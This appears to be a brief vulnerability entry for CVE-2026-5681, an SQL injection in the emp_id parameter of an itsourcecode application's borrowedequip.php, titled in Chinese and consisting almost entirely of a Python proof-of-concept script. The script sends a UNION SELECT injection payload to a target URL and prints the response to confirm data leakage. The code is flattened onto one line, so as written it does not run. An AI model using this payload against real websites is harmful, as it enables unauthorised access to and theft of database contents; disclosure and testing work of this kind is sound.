CVE-2026-5681 itsourcecode参数处理SQL注入漏洞

import requests # Target URL example url = "http://target.com/borrowedequip.php" # Malicious payload for the emp_id parameter # This payload attempts to manipulate the SQL query logic payload = "1' UNION SELECT NULL, NULL, NULL, NULL-- -" params = { "emp_id": payload } try: response = requests.get(url, params=params, timeout=10) # Analyze response to confirm vulnerability if response.status_code == 200: print("Request sent successfully. Check response for SQL errors or data leakage.") print(response.text[:200]) # Print first 200 chars for debugging else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")